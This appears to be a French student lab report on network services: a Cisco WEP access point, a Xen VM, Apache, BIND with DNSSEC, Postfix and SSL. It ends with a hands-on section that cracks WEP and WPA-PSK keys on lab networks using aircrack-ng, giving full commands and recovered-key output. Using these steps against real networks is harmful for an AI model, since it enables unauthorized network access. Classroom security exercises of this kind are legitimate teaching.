TP sysres IMA2a5 2016/2017 G4
N° VLAN | Prénom | Réseau local | Nom VM | @IP VM |
---|---|---|---|---|
VLAN20 | Dimitri | 10.60.20.0/24 | Vald | 193.48.57.182/28 |
VLAN21 | Nabil | 10.60.21.0/24 | Pnl | 193.48.57.177/28 |
VLAN22 | Otmane | 10.60.22.0/24 | Lartiste | 193.48.57.178/28 |
VLAN23 | Hugo | 10.60.23.0/24 | Gradur | 193.48.57.179/28 |
VLAN24 | Clement | 10.60.24.0/24 | Gringe | 193.48.57.180/28 |
VLAN25 | Joan | 10.60.25.0/24 | Orelsan | 193.48.57.181/28 |
Sommaire
Configuration du point d'accés Cisco
On vient dans un premier temps brancher le point d'accés Cisco et à l'aide de la commande ci dessous, on trouve sur quelle port USB se trouve notre point d'accés
dmesg | grep tty
Pour configurer notre Cisco, on utilise minicom -os et pour cela nous devons être en root
Une fois minicom lancé, on vient changer les paramètre de notre Cisco
A - Serial Device : /dev/ttyUSB0 B - Lockfile Location : /var/lock C - Callin Program : D - Callout Program : E - Bps/Par/Bits : 9600 8N1 F - Hardware Flow Control : No G - Software Flow Control : No
On se connecte en admin sur le Cisco
enable config terminal
Configuration du SSID
dot11 ssid MAMENE authentication open guest-mode
Configuraiton de l'interface Dot11Radio0 </pre> interface Dot11Radio0 encryption key 1 size 40bit 7 A3C2590B73A0 transmit-key encryption mode wep mandatory </pre>
Pour permettre l'accés a notre Cisco par adresse mac, on va chercher l'adresse mac des ordinateurs et venir les ajouter dans la liste d'accés de notre point d'accés
access-list 701 permit 5cb9.0180.a039 0000.0000.0000 access-list 701 permit 3ca8.2a7a.05c5 0000.0000.0000 access-list 701 permit 7429.aff3.fd91 0000.0000.0000 access-list 701 permit 5cb9.0180.a139 0000.0000.0000
Installation d'une machine virtuelle
L'installation s'effectuée à l'aide du logiciel de virtualisation Xen. Nous possédons qu'un seul serveur pour 6. C'est pour cela qu'on passe par la création d'une machine virtuel pour que chacun puisse réaliser une serveur DNS, Apache sur sa machine virtuel. Pour créer la machine virtuel, on tape la commande suivante :
xen-create-image --hostname Orelsan --ip 193.48.57.181 --netmask 255.255.255.240 --dir /usr/local/xen
Entre deux séances de TP, nous avons eu un changement de version du kernel Linux. De ce fait il a fallu modifier le fichier orelsan.cfg en remplaçant la version 3.14 en 3.16.0
kernel = '/boot/vmlinuz-3.16.0-4-amd64' extra = 'elevator=noop' ramdisk = '/boot/initrd.img-3.16.0-4-amd64'
Lancement de notre machine virtuelle
xl create Orelsan.cvg
Connection à notre machine virtuelle
xl console Orelsan
On peut également voir la liste de toutes les machines virtuelles ouvertes avec :
xl list
Une fois la connexion sur notre machine établie, nous devons changer le fichier interfaces pour permettre une connexion à internet:
# The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.181 netmask 255.255.255.240 gateway 193.48.57.190
Puis pour prendre en compte ses modifications nous utilisons :
ifdown ifup
Après un reboot de notre machine virtuelle, nous pouvons ainsi installer différents packages comme :
apt-get install vim
Configuration du service internet
Pour cela, il nous faut réaliser un serveur DNS qui permet de lier un nom de domaine à une adresse IP. Ainsi qu'un serveur Apache qui est un serveur HTTP
Installation du serveur HTTP
apt-get install apache2
Installation du serveur DNS
apt-get install bind9
Si cette installation vous indique une erreur, il faut modifier le fichier /etc/apt/apt.conf.d/01proxy et remplacer
Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";
par
Acquire::http::Proxy "http://helfaut.escaut.net:3128";
Cette modification est du a la modification du proxy de l'école.
Configuration de notre nom de domaine
Après l'achat de notre nom de domaine orelsan.website sur www.gandi.net on vient modifier le glue records pour lier notre adresse IP au nom de domaine dns.orelsan.webiste -> 193.48.57.181 Ensuite on se rend dans l'onglet modifier les DNS et on change le DNS indiquer par celui vu juste précédemment. Puis nous allons modifier 3 fichiers :
/etc/bind/named.conf.options
options { allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32 ; //passerelle de gandi par defaut };
/etc/bind/named.conf.local
// // Do any local configuration here // // Consider adding the 1918 zones here, if they are not used in your // organization //include "/etc/bind/zones.rfc1918"; zone "orelsan.website" { type master; file "/etc/bind/orelsan.website/orelsan"; };
/etc/bind/orelsan.website/orelsan
$TTL 259200 @ IN SOA dns postmaster.orelsan.website. ( 20 ; Version 7200 ; Refresh (2h) 3600 ; Retry (1h) 1209600 ; Expire (14j) 259200 ) ; Minimum TTL (3j) IN NS dns IN NS ns6.gandi.net. IN A 193.48.57.181 IN MX 100 dns dns IN A 193.48.57.181
Pour prendre en compte les paramètres changés dans les fichiers ci-dessous, il suffit d'effectuer les commandes:
service bind9 stop service bind9 start
Pour observer le bon fonctionnement de notre serveur, on peut visualiser les informations sur
cat /var/log/daemon.log
Puis un ping de notre page internet peut nous montrer également son bon fonctionnement Si tout cela fonctionne on peut se rendre sur notre page. Pour modifier les informations visible sur la page, il suffit d'aller dans /var/www/html/index.html. Toutes les informations écrites dans ce fichier seront visible sur notre page.
Installation boite mail
On commence par un installer postfix qui est un serveur de messagerie électronique.
apt-get install postfix
Une fois postfix installé, on indique le nom de domaine (orelsan.website) dans la configuration
Dans /etc/aliases on ajoute:
admin:root
Puis on utilise la commande
newaliases
On installe également bsd-mailx qui est un agent de courriel utilisateur simple.
apt-get install bsd-mailx
Et pour observer nos mail, on tape la commande mail dans la console. L'adresse mail est admin@orelsan.website.
Générer une demande de certificat en SHA 2
openssl req -nodes -newkey rsa:2048 -sha256 -keyout monserveur.key -out serveur.csr Country Name (2 letter code) [AU]:fr State or Province Name (full name) [Some-State]:North Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Organizational Unit Name (eg, section) []:IMA Common Name (e.g. server FQDN or YOUR name) []:orelsan.website Email Address []:admin@orelsan.website Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
Cette fonction nous crée 2 fichiers : monserveur.key serveur.csr
-monserveur.key contient la clé privée.
-serveur.csr contient la clé public.
On va maintenant ajouter la clé public sur gandi pour qu'il nous génère un certificat. On crée 2 fichier avec :
-inter.crt qui contient le certificat intermédiaire.
-gandi.crt qui qui contient le certificat .
root@Orelsan:~# ls gandi.crt inter.crt mbox monserveur.key serveur.csr
Dans le fichier /etc/apache2/sites-enabled/000-default.conf on écrit:
<VirtualHost *:443> ServerName www.orelsan.website ServerAlias orelsan.website DocumentRoot /var/www/html CustomLog /var/log/apache2/secure_access.log combined SSLEngine on SLCertificateFile /root/gandi.crt SSLCertificateKeyFile /root/monserveur.key SSLCertificateChainFile /root/inter.crt SSLVerifyClient None </VirtualHost>
DNSSEC
Dans un premier temps, nous ajoutons l'option ci dessous dans le fichier named.conf.options
dnssec-enable yes
Dans un répertoire, nous créons d'abord la clé asymétrique de signature puis celle de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE orelsan.website dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE orelsan.website
Après avoir renommé les noms de nos clé, nous ajoutons dans notre fichier de zone
$include /etc/bind/orelsan.website.dnssec/orelsan.website-ksk.key $include /etc/bind/orelsan.website.dnssec/orelsan.website-zsk.key
et pour signez les enregistrements de la zone, nous utilisons la commande :
dnssec-signzone -o orelsan.website -k orelsan.website-ksk ../orelsan.website/orelsan orelsan.website-zsk
Cassage clé
Pour le crackage de clé, nous allons utiliser le package aircrack-ng qui est un ensemble d'outils permettant de tester la sécurité d'un réseau
Cassage de clé WEP
Commençons par detecter notre interface wifi par le biais d'un
ifconfig
ou
iwconfig
Notre interface est wlan2 qui correspond à la clé wifi ajoutée sur l'ordinateur.
Nous pouvons ainsi commencer à utiliser les outils de aircrack en debutant par
airmon-ng start wlan2
Cette commande permet de mettre en mode moniteur notre interface wifi Si tout se passe correctement, vous allez voir apparaitre
creation du mon0 Interface Chipset Driver mon0 Ralink RT2870/3070 rt2800usb - [phy1] wlan0 Broadcom wl - [phy0] wlan2 Ralink RT2870/3070 rt2800usb - [phy1] (monitor mode enabled on mon1)
Nous observons bien que le mode moniteur est activé pour notre wlan2.
Nous pouvons observer tous les réseaux grâce à la commande
airodump-ng wlan2
Une fois que nous avons repéré la cracotte que nous voulons cracker on refait un airodump pour se focaliser sur cette cracotte
airodump-ng wlan2 -c 8 -essid cracotte03 --bssid 04:DA:D2:9C:50:52 -w crack
-c permet de le selectrionner le channel de communication -w le nom du fichier dans lequel airodump va enregistrer les données --bssid permet d'indiquer l'adresse mac de la cible --essid permet d'indique le ssid de la cible (nom du réseau)
CH 8 ][ Elapsed: 1 min ][ 2016-11-21 15:08 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:52 -41 45 799 53316 506 8 54e. WEP WEP cracotte03 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -28 54e-54e 222 60221
On peut visualiser le nombre de paquets qui transit. Pour permettre le crackage de la clé WEP, un nombre de data important est necessaire. Pour obtenir plus de data, nous pouvons utiliser la commande aireplay dans un autre terminal.
root@Piranha:/home/pifou#aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52 wlan2 No source MAC (-h) specified. Using the device MAC (40:A5:EF:05:AA:25) 15:00:01 Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:51) on channel 8 15:00:01 Sending Authentication Request (Open System) 15:00:03 Sending Authentication Request (Open System) 15:00:05 Sending Authentication Request (Open System) [ACK] 15:00:05 Authentication successful 15:00:05 Sending Association Request [ACK] 15:00:05 Association successful :-) (AID: 1)
Et tout en laissant airodump ouvert sur un terminal, on vient trouver la clé WEP en utilisant la commande ci dessous dans un autre terminal
root@Piranha:/home/pifou#aircrack-ng crack.cap Aircrack-ng 1.2 beta3 [00:00:39] Tested 257766 keys (got 32866 IVs) KB depth byte(vote) 0 0/ 1 EE(46080) B9(39936) 70(39680) B2(39168) 86(38656) 11(38400) B4(38400) F2(38400) A1(38144) 24(37632) 1 0/ 1 EE(45824) 11(44544) 7B(42240) 05(40960) 93(40448) C4(40448) EE(40448) 1C(39168) 3E(39168) 42(38912) 2 0/ 1 EE(45568) 36(42240) 6A(42240) 0D(40192) DC(39680) 98(39424) F3(39424) 39(39168) 3E(38912) B6(38656) 3 0/ 1 EE(48640) 11(43520) 61(40448) E6(40448) 00(38912) 9C(38656) EF(38656) 30(38400) B7(38400) 2A(38144) 4 0/ 1 EE(42240) 77(40960) AA(39936) 86(39424) F2(39168) FE(39168) 95(38912) 69(38656) 73(38656) AF(38656) 5 1/ 2 EE(42752) A2(41728) 34(41216) 46(40448) 0B(39680) 50(39424) 6C(39168) BA(39168) 7D(38912) 66(38656) 6 0/ 1 EE(44032) 8D(43264) 9F(40960) A0(40960) 74(40704) 17(40448) 91(39936) 66(39424) 5A(39168) C4(38912) 7 0/ 1 EE(44032) 36(40192) 4D(39680) 3D(39168) BF(39168) EC(38912) 9D(38656) EF(38656) A9(38400) B4(38144) 8 0/ 1 EE(48128) 35(40448) C1(39680) 9E(39424) F3(39424) C8(39168) 36(38656) 2E(38144) 7A(38144) C5(38144) 9 0/ 1 EE(45312) 74(42496) E7(40960) 6C(40192) 28(39936) 1B(39680) AF(39680) 71(38656) 44(38400) 2C(37888) 10 3/ 1 62(39424) BC(39424) 48(39168) 56(38912) AF(38912) 23(38400) 98(38400) A7(38144) 2B(37888) 79(37888) 11 5/ 1 68(38656) E9(38656) F9(38656) 1E(38400) 36(38400) 5A(38144) 92(38144) 5C(37888) 87(37888) CB(37888) 12 0/ 2 79(40780) 62(40380) 4D(40156) 85(39388) DE(39280) 4E(39060) 98(38876) A7(38544) 6A(38432) 82(38144) KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44 ] Decrypted correctly: 100%
Cassage de clé WPA-PSK
Le cassage de clé WPA est légèrement diffèrent de celui WEP. Nous utilisons les mêmes outils (aircrack-ng) mais nous devons fournir un dictionnaire avec tous les mots de passe. Dans notre cas, nous avons décidé de prendre une clé de 8 chiffres. Nous utilisons pour commencer
airmon-ng start wlan2
Puis
airodump-ng --encrypt wpa mon0 -c 6 -w Poney --bssid 30:5A:3A:15:F6:3F
--encrypt permet de sélectionner le type d'encryption souhaité.
CH 6 ][ Elapsed: 2 mins ][ 2016-11-21 16:18 ][ WPA handshake: 30:5A:3A:15:F6:3F BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 30:5A:3A:15:F6:3F -34 100 738 1323 26 6 54e WPA2 CCMP PSK Poneyus BSSID STATION PWR Rate Lost Frames Probe 30:5A:3A:15:F6:3F 74:29:AF:F3:FD:91 -16 1e- 1 75 265 30:5A:3A:15:F6:3F 04:DB:56:3D:FD:A2 -40 0e- 0e 4709 1367
Un appareil doit se connecter sur notre réseau pour pouvoir avoir l'option handshake
et nous pouvons utiliser la commande
aircrack-ng Poney.cap dico.txt
Cette commande va tester chaque mot de passe 1 par 1 présent dans notre fichier dico.txt Et au bout d'une heure nous parvenons à retrouver la clé WPA .
Aircrack-ng 1.2 beta3 [01:01:16] 2857196 keys tested (792.44 k/s) KEY FOUND! [ 02857193 ] Master Key : E7 06 15 6B 6D BA 3F 42 AD 01 AF 05 DC A3 81 14 D0 1A 64 4A B9 B3 C4 0B CF 4A 87 6F 80 FE 54 88 Transient Key : D1 40 F8 7B 0A 2E 00 9B DC 2D DE AD 1A 7A 19 07 C5 D1 25 0C F3 18 3A 48 25 31 B0 57 40 93 41 30 21 37 82 9F 56 2A 1A 97 F2 35 F3 F9 BC AF 42 14 22 4B 49 EA 0A 2A 90 21 C9 F4 C0 13 80 1E 76 B2 EAPOL HMAC : B2 1E E7 D3 78 D6 1A 5F C8 36 63 E7 81 8B EE D1